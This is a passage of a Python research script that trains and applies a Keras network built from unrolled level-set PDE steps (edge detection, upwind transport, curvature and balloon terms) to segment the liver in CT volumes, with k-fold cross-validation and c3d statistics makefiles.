Multiply, Dense, Layer, Activation, BatchNormalization\nfrom keras.models import Model, Sequential\nfrom keras.models import model_from_json, load_model\nfrom keras.utils.np_utils import to_categorical\nimport keras.backend as K\nfrom keras.callbacks import TensorBoard, TerminateOnNaN, ModelCheckpoint\nfrom keras.callbacks import Callback as CallbackBase\nfrom optparse import OptionParser\nimport nibabel as nib\nfrom scipy import ndimage\nfrom sklearn.model_selection import KFold\nimport skimage.transform\nimport tensorflow as tf\n#import horovod.keras as hvd\nimport sys\n\nsys.setrecursionlimit(5000)\n\n# setup command line parser to control execution\nparser = OptionParser()\nparser.add_option( \"--hvd\",\n action=\"store_true\", dest=\"with_hvd\", default=False,\n help=\"use horovod for parallelism\")\nparser.add_option( \"--builddb\",\n action=\"store_true\", dest=\"builddb\", default=False,\n help=\"load all training data into npy\", metavar=\"FILE\")\nparser.add_option( \"--trainmodel\",\n action=\"store_true\", dest=\"trainmodel\", default=False,\n help=\"train model on all data\", metavar=\"FILE\")\nparser.add_option( \"--predictmodel\",\n action=\"store\", dest=\"predictmodel\", default=None,\n help=\"model weights (.h5) for prediction\", metavar=\"Path\")\nparser.add_option( \"--predictimage\",\n action=\"store\", dest=\"predictimage\", default=None,\n help=\"image to segment\", metavar=\"Path\")\nparser.add_option( \"--segmentation\",\n action=\"store\", dest=\"segmentation\", default=None,\n help=\"location for seg prediction output \", metavar=\"Path\")\nparser.add_option( \"--trainingsolver\",\n action=\"store\", dest=\"trainingsolver\", default='adam',\n help=\"setup info\", metavar=\"string\")\nparser.add_option( \"--dbfile\",\n action=\"store\", dest=\"dbfile\", default=\"./trainingdata.csv\",\n help=\"training data file\", metavar=\"string\")\nparser.add_option( \"--trainingresample\",\n type=\"int\", dest=\"trainingresample\", default=256,\n help=\"resample so that model prediction occurs at this resolution\", metavar=\"int\")\nparser.add_option( \"--trainingbatch\",\n type=\"int\", dest=\"trainingbatch\", default=4,\n help=\"batch size\", metavar=\"int\")\nparser.add_option( \"--kfolds\",\n type=\"int\", dest=\"kfolds\", default=1,\n help=\"perform kfold prediction with k folds\", metavar=\"int\")\nparser.add_option( \"--idfold\",\n type=\"int\", dest=\"idfold\", default=-1,\n help=\"individual fold for k folds\", metavar=\"int\")\nparser.add_option( \"--rootlocation\",\n action=\"store\", dest=\"rootlocation\", default='/rsrch1/ip/jacctor/LiTS/LiTS',\n help=\"root location for images for training\", metavar=\"string\")\nparser.add_option(\"--numepochs\",\n type=\"int\", dest=\"numepochs\", default=10,\n help=\"number of epochs for training\", metavar=\"int\")\nparser.add_option(\"--outdir\",\n action=\"store\", dest=\"outdir\", default='./',\n help=\"directory for output\", metavar=\"string\")\nparser.add_option(\"--nt\",\n type=\"int\", dest=\"nt\", default=10,\n help=\"number of timesteps\", metavar=\"int\")\nparser.add_option( \"--randinit\",\n action=\"store_true\", dest=\"randinit\", default=False,\n help=\"initialize u0 as random uniform. Default is constant 1\", metavar=\"FILE\")\nparser.add_option( \"--circleinit\",\n action=\"store_true\", dest=\"circleinit\", default=False,\n help=\"initialize u0 as circle in lower right quadrant. Default is constant 1\", metavar=\"FILE\")\nparser.add_option(\"--circlerad\",\n type=\"int\", dest=\"circlerad\", default=10,\n help=\"radius of u0, when --circleinit is set\", metavar=\"int\")\nparser.add_option( \"--learned_edgekernel\",\n action=\"store_true\", dest=\"learned_edgekernel\", default=False,\n help=\"use learned convolution kernels instead of FD stencils for transport\", metavar=\"FILE\")\nparser.add_option( \"--learned_kappakernel\",\n action=\"store_true\", dest=\"learned_kappakernel\", default=False,\n help=\"use learned convolution kernels instead of FD stencils for curvature\", metavar=\"FILE\")\nparser.add_option( \"--alpha\",\n action=\"store_true\", dest=\"alpha\", default=False,\n help=\"use alpha\", metavar=\"FILE\")\nparser.add_option( \"--beta\",\n action=\"store_true\", dest=\"beta\", default=False,\n help=\"use beta\", metavar=\"FILE\")\nparser.add_option( \"--gamma\",\n action=\"store_true\", dest=\"gamma\", default=False,\n help=\"use gamma\", metavar=\"FILE\")\n(options, args) = parser.parse_args()\n\n# raw dicom data is usually short int (2bytes) datatype\n# labels are usually uchar (1byte)\nIMG_DTYPE = np.int16\nSEG_DTYPE = np.uint8\n\nif options.with_hvd:\n hvd.init()\n config = tf.ConfigProto()\n config.gpu_options.allow_growth=True\n config.gpu_options.visible_device_list = str(hvd.local_rank())\n K.set_session(tf.Session(config=config))\n\n\n_globalnpfile = options.dbfile.replace('.csv','%d.npy' % options.trainingresample )\n_globalexpectedpixel=512\n_nt = options.nt\n_nx = options.trainingresample\n_ny = options.trainingresample\n_num_classes = 2 \nprint('database file: %s ' % _globalnpfile )\n\n\n# build data base from CSV file\ndef GetDataDictionary():\n CSVDictionary = {}\n with open(options.dbfile, 'r') as csvfile:\n myreader = csv.DictReader(csvfile, delimiter=',')\n for row in myreader:\n CSVDictionary[int( row['dataid'])] = {'image':row['image'], 'label':row['label']}\n return CSVDictionary\n\n\n# setup kfolds\ndef GetSetupKfolds(numfolds,idfold):\n # get id from setupfiles\n dataidsfull = []\n with open(options.dbfile, 'r') as csvfile:\n myreader = csv.DictReader(csvfile, delimiter=',')\n for row in myreader:\n dataidsfull.append( int( row['dataid']))\n if (numfolds < idfold or numfolds < 1):\n raise(\"data input error\")\n # split in folds\n if (numfolds > 1):\n kf = KFold(n_splits=numfolds)\n allkfolds = [ (train_index, test_index) for train_index, test_index in kf.split(dataidsfull )]\n train_index = allkfolds[idfold][0]\n test_index = allkfolds[idfold][1]\n else:\n train_index = np.array(dataidsfull )\n test_index = None\n print(\"kfold: \\t\",numfolds)\n print(\"idfold: \\t\", idfold)\n print(\"train_index:\\t\", train_index)\n print(\"test_index:\\t\", test_index)\n return (train_index,test_index)\n\n\n # create upwind FD kernels\n\ndef make_kernel(a):\n a = np.asarray(a)\n a = a.reshape(list(a.shape) + [1,1])\n return K.constant(a)\n\nmXN = [[0,0,0],[-1,1,0],[0,0,0]]\nmXP = [[0,0,0],[0,-1,1],[0,0,0]]\nmYN = [[0,0,0],[0,1,0],[0,-1,0]]\nmYP = [[0,1,0],[0,-1,0],[0,0,0]]\nmXC = [[0,0,0],[-1,0,1],[0,0,0]]\nmYC = [[0,1,0],[0,0,0],[0,-1,0]]\nmLX = [[1,0,-1],[2,0,-2],[1,0,-1]]\nmLY = [[1,2,1],[0,0,0],[-1,-2,-1]]\nkXP = make_kernel(mXP) # first-order FD in x direction with prior information\nkXN = make_kernel(mXN) # first-order FD in x direction with ahead information\nkYP = make_kernel(mYP) # first-order FD in y direction with prior information\nkYN = make_kernel(mYN) # first-order FD in y direction with ahead information\nkXC = make_kernel(mXC) # second-order centered FD in x direction\nkYC = make_kernel(mYC) # second-order centered FD in y direction\nkLX = make_kernel(mLX) # Canny dx kernel\nkLY = make_kernel(mLY) # Canny dy kernel\no = make_kernel([[1]])\n\n\nclass ForcingFunction(Layer):\n\n def __init__(self, in_img, in_dims, **kwargs):\n self.img = in_img\n self.dt = 0.05\n# self.dims = in_dims\n# self.dx = in_dims[:,0,0,:]\n# self.dy = in_dims[:,1,0,:]\n# self.dz = in_dims[:,2,0,:]\n# self.shp = K.shape(in_img)\n# self.rhp = (self.shp[0], self.shp[1]*self.shp[2], self.shp[3])\n super(ForcingFunction, self).__init__(**kwargs)\n\n def build(self, input_shape):\n if options.alpha:\n self.alpha = self.add_weight(name='alpha', # curvature coeff\n shape=(1,1,1,1),\n initializer='ones',\n trainable=False)\n else:\n self.alpha = self.add_weight(name='alpha', # curvature coeff\n shape=(1,1,1,1),\n initializer='zeros',\n trainable=False)\n if options.beta:\n self.beta = self.add_weight(name='beta', # transport coeff\n shape=(1,1,1,1),\n initializer='ones',\n trainable=False)\n else:\n self.beta = self.add_weight(name='beta', # transport coeff\n shape=(1,1,1,1),\n initializer='zeros',\n trainable=False)\n if options.gamma:\n self.gamma = self.add_weight(name='gamma', # balloon coeff\n shape=(1,1,1,1),\n initializer='ones',\n trainable=False)\n else:\n self.gamma = self.add_weight(name='gamma', # balloon coeff\n shape=(1,1,1,1),\n initializer='zeros',\n trainable=False)\n if options.learned_edgekernel:\n self.kernel_edges = self.add_weight(name='edge_kernel',\n shape=(3,3,1,16),\n initializer='normal',\n trainable=True)\n if options.learned_kappakernel:\n self.kernel_kappa_1 = self.add_weight(name='kappa_kernel_1',\n shape=(3,3,1,16),\n initializer='normal',\n trainable=True)\n self.kernel_kappa_2 = self.add_weight(name='kappa_kernel_2',\n shape=(3,3,16,48),\n initializer='normal',\n trainable=True)\n super(ForcingFunction, self).build(input_shape)\n def call(self, ins):\n u = ins[0]\n img = ins[1]\n\n ### note : need to reshape before applying rescaling for each slice due to tf backend \n\n ### edge detection \n ### g_I(x) = 1 / (1 + norm(grad(I))^2 ), slightly modified\n\n if options.learned_edgekernel:\n edges = K.conv2d(self.img, self.kernel_edges, padding='same')\n edges = K.square(edges)\n edges = K.sum(edges, axis=-1, keepdims=True)\n edges = K.square(edges)\n edges = edges/K.max(edges)\n edges = K.constant(1.0) / (edges + K.constant(1.0))\n else:\n edges_x = K.conv2d(self.img, kLX, padding='same')\n# edges_x = K.reshape(edges_x, self.rhp)\n# edges_x = K.batch_dot(edges_x , self.dx, axes=[2,1])\n# edges_x = K.reshape(edges_x, self.shp)\n edges_y = K.conv2d(self.img, kLY, padding='same')\n# edges_y = K.reshape(edges_y, self.rhp)\n# edges_y = K.batch_dot(edges_y , self.dy, axes=[2,1])\n# edges_y = K.reshape(edges_y, self.shp)\n edges = K.square(edges_x) + K.square(edges_y)\n edges = K.square(edges)\n edges = edges/K.max(edges)\n edges = K.constant(1.0) / (20.0*edges + K.constant(1.0))\n\n\n \n ### grad( edge_detection )\n grad_edges_x = K.conv2d(edges, kXC, padding='same') \n# grad_edges_x = K.reshape(grad_edges_x, self.rhp)\n# grad_edges_x = K.batch_dot(grad_edges_x , self.dx, axes=[2,1])\n# grad_edges_x = K.reshape(grad_edges_x, self.shp)\n\n grad_edges_y = K.conv2d(edges, kYC, padding='same')\n# grad_edges_y = K.reshape(grad_edges_y, self.rhp)\n# grad_edges_y = K.batch_dot(grad_edges_y , self.dy, axes=[2,1])\n# grad_edges_y = K.reshape(grad_edges_y, self.shp)\n\n\n\n\t### transport - upwind approx to grad( edge_detection)^T grad( u )\n xp = K.conv2d(u, kXP, padding='same')\n xn = K.conv2d(u, kXN, padding='same')\n yp = K.conv2d(u, kYP, padding='same')\n yn = K.conv2d(u, kYN, padding='same')\n fxp = K.relu( grad_edges_x)\n fxn = -1.0 * K.relu(-1.0 * grad_edges_x)\n fyp = K.relu( grad_edges_y)\n fyn = -1.0 * K.relu(-1.0 * grad_edges_y)\n xpp = fxp*xp\n xnn = fxn*xn\n ypp = fyp*yp\n ynn = fyn*yn\n xterms = xpp + xnn\n# xterms = K.reshape(xterms, self.rhp)\n# xterms = K.batch_dot( xterms, self.dx, axes=[2,1])\n# xterms = K.reshape(xterms, self.shp)\n yterms = ypp + ynn\n# yterms = K.reshape(yterms, self.rhp)\n# yterms = K.batch_dot( yterms, self.dy, axes=[2,1])\n# yterms = K.reshape(yterms, self.shp)\n transport = 20.0*(xterms + yterms)\n\n\n\n ### curvature kappa( u ) \n\n if options.learned_kappakernel:\n gradu = K.conv2d(u, self.kernel_kappa_1, padding='same')\n normu = K.square(gradu)\n normu = K.sum(normu, axis=-1, keepdims=True)\n normu = K.sqrt(normu + K.epsilon())\n gradu = gradu / (normu + K.epsilon())\n gradu = K.conv2d(gradu, self.kernel_kappa_2, padding='same')\n kappa = K.sum(gradu)\n else:\n gradu_x = K.conv2d(u, kXC, padding='same')\n# gradu_x = K.reshape(gradu_x, self.rhp)\n# gradu_x = K.batch_dot(gradu_x , self.dx, axes=[2,1])\n# gradu_x = K.reshape(gradu_x, self.shp)\n gradu_y = K.conv2d(u, kYC, padding='same')\n# gradu_y = K.reshape(gradu_y, self.rhp)\n# gradu_y = K.batch_dot(gradu_y , self.dy, axes=[2,1])\n# gradu_y = K.reshape(gradu_y, self.shp)\n normu = K.square(gradu_x) + K.square(gradu_y)\n normu = K.sqrt(normu + K.epsilon())\n kappa_x = gradu_x / (normu + K.epsilon())\n kappa_x = K.conv2d(kappa_x, kXC, padding='same')\n# kappa_x = K.reshape(kappa_x, self.rhp)\n# kappa_x = K.batch_dot(kappa_x , self.dx, axes=[2,1])\n# kappa_x = K.reshape(kappa_x, self.shp)\n kappa_y = gradu_y / (normu + K.epsilon())\n kappa_y = K.conv2d(kappa_y, kYC, padding='same')\n# kappa_y = K.reshape(kappa_y, self.rhp)\n# kappa_y = K.batch_dot(kappa_y , self.dy, axes=[2,1])\n# kappa_y = K.reshape(kappa_y, self.shp)\n kappa = kappa_x + kappa_y\n\n curvature = edges*kappa*normu\n\n ### balloon force \n balloon = edges*normu\n\n\n return u + K.constant(self.dt)*(\\\n curvature * self.alpha \\\n + transport * self.beta \\\n + balloon * self.gamma ) \n def compute_output_shape(self, input_shape):\n return input_shape\n\n\n\ndef get_upwind_transport_net(_nt, _final_sigma='sigmoid'):\n\n in_imgs = Input(shape=(_ny,_nx,2))\n in_dims = Input(shape=(3,1,1)) # provides structure dimension size for dx/dy/dz scaling\n\n in_img = Lambda(lambda x : x[...,0][...,None])(in_imgs) # I\n# img = Conv2D(1, (1,1), padding='same', use_bias=True)(in_img)\n# img = Activation('hard_sigmoid')(img)\n img = Activation('linear')(in_img)\n\n in_layer = Lambda(lambda x : x[...,1][...,None])(in_imgs) # u0\n mid_layer = Activation('linear')(in_layer)\n\n # Forcing Function F depends on image and on u, but not on time\n F = ForcingFunction(img, in_dims)\n for ttt in range(_nt):\n mid_layer = F([mid_layer, img])\n \n# out_layer = Conv2D(1, (1,1), padding='same', use_bias=True)(mid_layer)\n# out_layer = Activation(_final_sigma)(out_layer)\n out_layer = Activation('linear')(mid_layer)\n model = Model([in_imgs, in_dims], out_layer)\n return model\n\n\n\n\n# dsc = 1 - dsc_as_l2\ndef dsc_default(y_true, y_pred, smooth=0.00001):\n intersection = 2.0* K.abs(y_true * y_pred) + smooth\n sumunion = K.sum(K.square(y_true)) + K.sum(K.square(y_pred)) + smooth\n return -K.sum( intersection / K.expand_dims(K.expand_dims(K.expand_dims(sumunion, axis=0),axis=1),axis=2), axis=(0,1,2))\ndef dsc_as_l2(y_true, y_pred, smooth=0.00001):\n numerator = K.sum(K.square(y_true[...] - y_pred[...]),axis=(1,2)) + smooth\n denominator = K.sum(K.square(y_true[...]),axis=(1,2)) + K.sum(K.square(y_pred[...]),axis=(1,2)) + smooth\n disc = numerator/denominator\n return disc # average of dsc0,dsc1 over batch/stack \ndef dice_metric_zero(y_true, y_pred):\n batchdiceloss = dsc_as_l2(y_true, y_pred)\n return 1.0 - batchdiceloss[:,0]\n\n\n\n\n##########################\n# preprocess database and store to disk\n##########################\ndef BuildDB():\n # create custom data frame database type\n mydatabasetype = [('dataid', int),\n ('axialliverbounds',bool),\n ('axialtumorbounds',bool),\n ('imagepath','S128'),\n ('imagedata','(%d,%d)int16' %(options.trainingresample,options.trainingresample)),\n ('truthpath','S128'),\n ('truthdata','(%d,%d)uint8' % (options.trainingresample,options.trainingresample)),\n ('image_dx', float),\n ('image_dy', float),\n ('image_dz', float) ]\n\n # initialize empty dataframe\n numpydatabase = np.empty(0, dtype=mydatabasetype )\n\n # load all data from csv\n totalnslice = 0\n with open(options.dbfile, 'r') as csvfile:\n myreader = csv.DictReader(csvfile, delimiter=',')\n for row in myreader:\n imagelocation = '%s/%s' % (options.rootlocation,row['image'])\n truthlocation = '%s/%s' % (options.rootlocation,row['label'])\n print(imagelocation,truthlocation )\n\n # load nifti file\n imagedata = nib.load(imagelocation )\n numpyimage= imagedata.get_data().astype(IMG_DTYPE )\n # error check\n assert numpyimage.shape[0:2] == (_globalexpectedpixel,_globalexpectedpixel)\n nslice = numpyimage.shape[2]\n resimage=skimage.transform.resize(numpyimage,\n (options.trainingresample,options.trainingresample,nslice),\n order=0,\n mode='constant',\n preserve_range=True).astype(IMG_DTYPE)\n\n # load nifti file\n truthdata = nib.load(truthlocation )\n numpytruth= truthdata.get_data().astype(SEG_DTYPE)\n # error check\n assert numpytruth.shape[0:2] == (_globalexpectedpixel,_globalexpectedpixel)\n assert nslice == numpytruth.shape[2]\n restruth=skimage.transform.resize(numpytruth,\n (options.trainingresample,options.trainingresample,nslice),\n order=0,\n mode='constant',\n preserve_range=True).astype(SEG_DTYPE)\n\n # bounding box for each label\n if( np.max(restruth) ==1 ) :\n (liverboundingbox,) = ndimage.find_objects(restruth)\n tumorboundingbox = None\n else:\n (liverboundingbox,tumorboundingbox) = ndimage.find_objects(restruth)\n\n if( nslice == restruth.shape[2]):\n # custom data type to subset\n datamatrix = np.zeros(nslice , dtype=mydatabasetype )\n\n # custom data type to subset\n datamatrix ['dataid'] = np.repeat(row['dataid'], nslice )\n # id the slices within the bounding box\n axialliverbounds = np.repeat(False, nslice )\n axialtumorbounds = np.repeat(False, nslice )\n axialliverbounds[liverboundingbox[2]] = True\n if (tumorboundingbox != None):\n axialtumorbounds[tumorboundingbox[2]] = True\n datamatrix ['axialliverbounds'] = axialliverbounds\n datamatrix ['axialtumorbounds'] = axialtumorbounds\n datamatrix ['imagepath'] = np.repeat(imagelocation, nslice )\n datamatrix ['truthpath'] = np.repeat(truthlocation, nslice )\n datamatrix ['imagedata'] = resimage.transpose(2,1,0)\n datamatrix ['truthdata'] = restruth.transpose(2,1,0)\n datamatrix ['image_dx'] = np.repeat( 1.0/( float(imagedata.header['pixdim'][1])*(_globalexpectedpixel / options.trainingresample)), nslice)\n datamatrix ['image_dy'] = np.repeat( 1.0/( float(imagedata.header['pixdim'][2])*(_globalexpectedpixel / options.trainingresample)), nslice)\n datamatrix ['image_dz'] = np.repeat( 1.0/( float(imagedata.header['pixdim'][3])), nslice)\n numpydatabase = np.hstack((numpydatabase,datamatrix))\n # count total slice for QA\n totalnslice = totalnslice + nslice\n else:\n print('training data error image[2] = %d , truth[2] = %d ' % (nslice,restruth.shape[2]))\n\n # save numpy array to disk\n np.save( _globalnpfile, numpydatabase)\n\n\n##########################\n# build NN model from anonymized data\n##########################\ndef TrainModel(kfolds=options.kfolds,idfold=0):\n\n global _num_classes\n\n ###\n ### load data\n ###\n\n print('loading memory map db for large dataset')\n numpydatabase = np.load(_globalnpfile)\n (train_index,test_index) = GetSetupKfolds(kfolds,idfold)\n\n print('copy data subsets into memory...')\n axialbounds = numpydatabase['axialliverbounds']\n dataidarray = numpydatabase['dataid']\n dbtrainindex= np.isin(dataidarray, train_index )\n dbtestindex = np.isin(dataidarray, test_index )\n subsetidx_train = np.all( np.vstack((axialbounds , dbtrainindex)) , axis=0 )\n subsetidx_test = np.all( np.vstack((axialbounds , dbtestindex )) , axis=0 )\n# if np.sum(subsetidx_train) + np.sum(subsetidx_test) != min(np.sum(axialbounds ),np.sum(dbtrainindex )) :\n# raise(\"data error: slice numbers dont match\")\n\n print('copy memory map from disk to RAM...')\n trainingsubset = numpydatabase[subsetidx_train]\n\n np.random.seed(seed=0)\n np.random.shuffle(trainingsubset)\n\n totnslice = len(trainingsubset)\n\n x_train=trainingsubset['imagedata']\n y_train=trainingsubset['truthdata']\n\n x_train_dx = trainingsubset['image_dx']\n x_train_dy = trainingsubset['image_dy']\n x_train_dz = trainingsubset['image_dz']\n x_train_dims = np.transpose(np.vstack((x_train_dx, x_train_dy, x_train_dz)))\n\n slicesplit = int(0.9 * totnslice)\n\n TRAINING_SLICES = slice( 0, slicesplit)\n VALIDATION_SLICES = slice(slicesplit, totnslice )\n\n print(\"\\nkfolds : \", kfolds)\n print(\"idfold : \", idfold)\n print(\"slices total : \", totnslice)\n print(\"slices training : \", slicesplit)\n print(\"slices validation : \", totnslice - slicesplit)\n print(\"slices holdout : \", len(numpydatabase[subsetidx_test]), \"\\n\")\n\n # Convert to uint8 data and find out how many labels.\n y_train_typed = y_train.astype(np.uint8)\n _num_classes = 1\n y_train_one_hot = y_train_typed[...,np.newaxis]\n y_train_one_hot[ y_train_one_hot > 0 ] = 1 # map all nonzero values to 1\n\n ###\n ### set up output, logging, and callbacks\n ###\n\n logfileoutputdir= '%s/%03d/%03d' % (options.outdir, kfolds, idfold)\n os.system ('mkdir -p %s' % logfileoutputdir)\n print(\"Output to\\t\", logfileoutputdir)\n\n if options.with_hvd:\n callbacks = [ hvd.callbacks.BroadcastGlobalVariablesCallback(0),\n hvd.callbacks.MetricAverageCallback(),\n hvd.callbacks.LearningRateWarmupCallback(warmup_epochs=5, verbose=1),\n keras.callbacks.TerminateOnNaN() ]\n if hvd.rank() == 0:\n callbacks += [ keras.callbacks.ModelCheckpoint(filepath=logfileoutputdir+\"/tumormodelunet.h5\", verbose=1, save_best_only=True),\n keras.callbacks.TensorBoard(log_dir=logfileoutputdir, histogram_freq=0, write_graph=True, write_images=False) ]\n else:\n callbacks = [ keras.callbacks.TerminateOnNaN(),\n keras.callbacks.ModelCheckpoint(filepath=logfileoutputdir+\"/tumormodelunet.h5\", verbose=1, save_best_only=True), \n keras.callbacks.TensorBoard(log_dir=logfileoutputdir, histogram_freq=0, write_graph=True, write_images=False) ] \n\n\n ###\n ### create and run model\n ###\n\n # initial values for u\n if options.randinit:\n x_init = np.random.uniform(size=(totnslice,_nx,_ny))\n elif options.circleinit:\n x_center = int(_ny*0.25)\n y_center = int(_nx*0.67)\n rad = options.circlerad\n x_init = np.zeros((totnslice,_nx,_ny))\n# x_init[:, y_center-rad:y_center+rad, x_center-rad:x_center+rad] = 1.0\n for xxx in range(2*rad):\n xloc = x_center - rad + xxx\n for yyy in range(2*rad):\n yloc = y_center - rad + yyy\n if (xxx - rad)**2 + (yyy - rad)**2 <= rad**2:\n x_init[:, yloc, xloc] = 1.0\n else:\n x_init = np.ones((totnslice,_nx,_ny))\n\n # set up optimizer\n if options.with_hvd:\n if options.trainingsolver==\"adam\":\n opt = keras.optimizers.Adam(lr=0.001*hvd.size())\n elif options.trainingsolver==\"adadelta\":\n opt = keras.optimizers.Adadelta(1.0*hvd.size())\n elif options.trainingsolver==\"nadam\":\n opt = keras.optimizers.Nadam(0.002*hvd.size())\n elif options.trainingsolver==\"sgd\":\n opt = keras.optimizers.SGD(0.01*hvd.size())\n else:\n raise Exception(\"horovod-enabled optimizer not selected\")\n opt = hvd.DistributedOptimizer(opt)\n else:\n if options.trainingsolver==\"adam\":\n opt = keras.optimizers.Adam(lr=0.01)\n elif options.trainingsolver==\"adadelta\":\n opt = keras.optimizers.Adadelta(1.0)\n elif options.trainingsolver==\"nadam\":\n opt = keras.optimizers.Nadam(0.2)\n elif options.trainingsolver==\"sgd\":\n opt = keras.optimizers.SGD(0.01)\n else:\n opt = options.trainingsolver\n\n # compile model graph\n model = get_upwind_transport_net(_nt)\n model.compile(loss=dsc_default,\n# metrics=[dice_metric_zero],\n optimizer=opt)\n print(\"Model parameters: {0:,}\".format(model.count_params()))\n print(\"Input image shape: \", x_train[TRAINING_SLICES,:,:,np.newaxis].shape)\n x_in = np.concatenate((x_train[TRAINING_SLICES , :,:,np.newaxis], x_init[TRAINING_SLICES, :,:,np.newaxis]), axis=-1)\n x_val = np.concatenate((x_train[VALIDATION_SLICES, :,:,np.newaxis], x_init[VALIDATION_SLICES, :,:,np.newaxis]), axis=-1)\n \n history = model.fit([ x_in, \n x_train_dims[TRAINING_SLICES,:,np.newaxis,np.newaxis] ], \n y_train_one_hot[TRAINING_SLICES ],\n validation_data=([x_val, x_train_dims[VALIDATION_SLICES,:,np.newaxis,np.newaxis] ], y_train_one_hot[VALIDATION_SLICES]),\n callbacks = callbacks,\n batch_size=options.trainingbatch,\n epochs=options.numepochs)\n\n modelWeights = []\n for layer in model.layers:\n layerWeights = []\n for weight in layer.get_weights():\n layerWeights.append(weight)\n modelWeights.append(layerWeights)\n print(layerWeights)\n\n ###\n ### make predicions on validation set\n ###\n\n validationimgnii = nib.Nifti1Image(x_train[VALIDATION_SLICES,:,:] , None )\n validationonehotnii = nib.Nifti1Image(y_train[VALIDATION_SLICES,:,:] , None )\n y_predicted = model.predict( [x_val, x_train_dims[VALIDATION_SLICES,:,np.newaxis,np.newaxis] ])\n y_segmentation = np.argmax(y_predicted , axis=-1)\n validationoutput = nib.Nifti1Image( y_segmentation[:,:,:].astype(np.uint8), None )\n validationprediction = nib.Nifti1Image(y_predicted [:,:,:,0] , None )\n validationprediction.to_filename( '%s/validationpredict.nii.gz' % logfileoutputdir )\n validationimgnii.to_filename( '%s/validationimg.nii.gz' % logfileoutputdir )\n validationonehotnii.to_filename( '%s/validationseg.nii.gz' % logfileoutputdir )\n validationoutput.to_filename( '%s/validationoutput.nii.gz' % logfileoutputdir )\n\n modelloc = \"%s/tumormodelunet.h5\" % logfileoutputdir\n return modelloc\n\n\n##########################\n# apply model to test set\n##########################\ndef MakeStatsScript(kfolds=options.kfolds, idfold=0):\n databaseinfo = GetDataDictionary()\n maketargetlist = []\n # open makefile\n with open('kfold%03d-%03d-stats.makefile' % (kfolds, idfold), 'w') as fileHandle:\n (train_set,test_set) = GetSetupKfolds(kfolds, idfold)\n for idtest in test_set:\n uidoutputdir= '%s/%03d/%03d' % (options.outdir, kfolds, idfold)\n segmaketarget = '%s/label-%04d.nii.gz' % (uidoutputdir,idtest)\n segmaketarget0 = '%s/label-%04d-0.nii.gz' % (uidoutputdir,idtest)\n segmaketargetQ = '%s/label-%04d-?.nii.gz' % (uidoutputdir,idtest)\n predicttarget = '%s/label-%04d-all.nii.gz' % (uidoutputdir,idtest)\n statstarget = '%s/stats-%04d.txt' % (uidoutputdir,idtest)\n maketargetlist.append(segmaketarget )\n imageprereq = '$(TRAININGROOT)/%s' % databaseinfo[idtest]['image']\n segprereq = '$(TRAININGROOT)/%s' % databaseinfo[idtest]['label']\n votecmd = \"c3d %s -vote -type uchar -o %s\" % (segmaketargetQ, predicttarget)\n infocmd = \"c3d %s -info > %s\" % (segmaketarget0,statstarget)\n statcmd = \"c3d -verbose %s %s -overlap 0 -overlap 1 > %s\" % (predicttarget, segprereq, statstarget)\n fileHandle.write('%s: %s\\n' % (segmaketarget ,imageprereq ) )\n fileHandle.write('\\t%s\\n' % votecmd)\n fileHandle.write('\\t%s\\n' % infocmd)\n fileHandle.write('\\t%s\\n' % statcmd)\n # build job list\n with open('kfold%03d-%03d-stats.makefile' % (kfolds, idfold), 'r') as original: datastream = original.read()\n with open('kfold%03d-%03d-stats.makefile' % (kfolds, idfold), 'w') as modified: modified.write( 'TRAININGROOT=%s\\n' % options.rootlocation + \"cvtest: %s \\n\" % ' '.join(maketargetlist) + datastream)\n\n##########################\n# apply model to new data\n##########################\ndef PredictModel(model=options.predictmodel, image=options.predictimage, outdir=options.segmentation):\n if (model != None and image != None and outdir != None ):\n \n os.environ[\"CUDA_DEVICE_ORDER\"] = \"PCI_BUS_ID\" # see issue #152\n \n imagepredict = nib.load(image)\n imageheader = imagepredict.header\n numpypredict = imagepredict.get_data().astype(IMG_DTYPE )\n # error check\n assert numpypredict.shape[0:2] == (_globalexpectedpixel,_globalexpectedpixel)\n nslice = numpypredict.shape[2]\n print(nslice)\n resizepredict = skimage.transform.resize(numpypredict,\n (options.trainingresample,options.trainingresample,nslice ),\n order=0,\n preserve_range=True,\n mode='constant').astype(IMG_DTYPE).transpose(2,1,0)\n\n # init conditions\n inshape = resizepredict.shape\n if options.randinit:\n inits = np.random.uniform(size=inshape)\n elif options.circleinit:\n x_center = int(inshape[2]*0.25)\n y_center = int(inshape[1]*0.67)\n rad = options.circlerad\n inits = np.zeros(inshape)\n# inits[:, y_center-rad:y_center+rad, x_center-rad:x_center+rad] = 1.0\n for xxx in range(2*rad):\n xloc = x_center - rad + xxx\n for yyy in range(2*rad):\n yloc = y_center - rad + yyy\n if (xxx - rad)**2 + (yyy - rad)**2 <= rad**2:\n inits[:, yloc, xloc] = 1.0\n else:\n inits = np.ones(inshape)\n\n # set up optimizer\n if options.with_hvd:\n if options.trainingsolver==\"adam\":\n opt = keras.optimizers.Adam(lr=0.001*hvd.size())\n elif options.trainingsolver==\"adadelta\":\n opt = keras.optimizers.Adadelta(1.0*hvd.size())\n elif options.trainingsolver==\"nadam\":\n opt = keras.optimizers.Nadam(0.002*hvd.size())\n elif options.trainingsolver==\"sgd\":\n opt = keras.optimizers.SGD(0.01*hvd*size())\n else:\n raise Exception(\"horovod-enabled optimizer not selected\")\n opt = hvd.DistributedOptimizer(opt)\n else:\n opt = options.trainingsolver\n\n loaded_model = get_upwind_transport_net(_nt)\n loaded_model.compile(loss=dsc_default,\n# metrics=[dice_metric_zero],\n optimizer=opt)\n loaded_model.load_weights(model)\n print(\"Loaded model from disk\")\n\n x_in = np.concatenate((resizepredict[...,np.newaxis], inits[...,np.newaxis]), axis=-1)\n x_dx = np.repeat( float(imageheader['pixdim'][1])*(_globalexpectedpixel / options.trainingresample), nslice)\n x_dy = np.repeat( float(imageheader['pixdim'][2])*(_globalexpectedpixel / options.trainingresample), nslice)\n x_dz = np.repeat( float(imageheader['pixdim'][3]), nslice)\n x_dims = np.transpose(np.vstack((x_dx, x_dy, x_dz)))\n \n segout = loaded_model.predict([x_in, x_dims[...,np.newaxis,np.newaxis]] )\n segout_resize = skimage.transform.resize(segout[...,0],\n (nslice,_globalexpectedpixel,_globalexpectedpixel),\n order=0,\n preserve_range=True,\n mode='constant').transpose(2,1,0)\n segout_img = nib.Nifti1Image(segout_resize, None, header=imageheader)\n segout_img.to_filename( outdir.replace('.nii.gz', '-%d.nii.gz' % 0) )\n\n################################\n# Perform K-fold validation\n################################\ndef OneKfold(k=options.kfolds, i=0, datadict=None):\n mdlloc = TrainModel(kfolds=k, idfold=i) \n (train_set,test_set) = GetSetupKfolds(k,i)\n for idtest in test_set:\n baseloc = '%s/%03d/%03d' % (options.outdir, k, 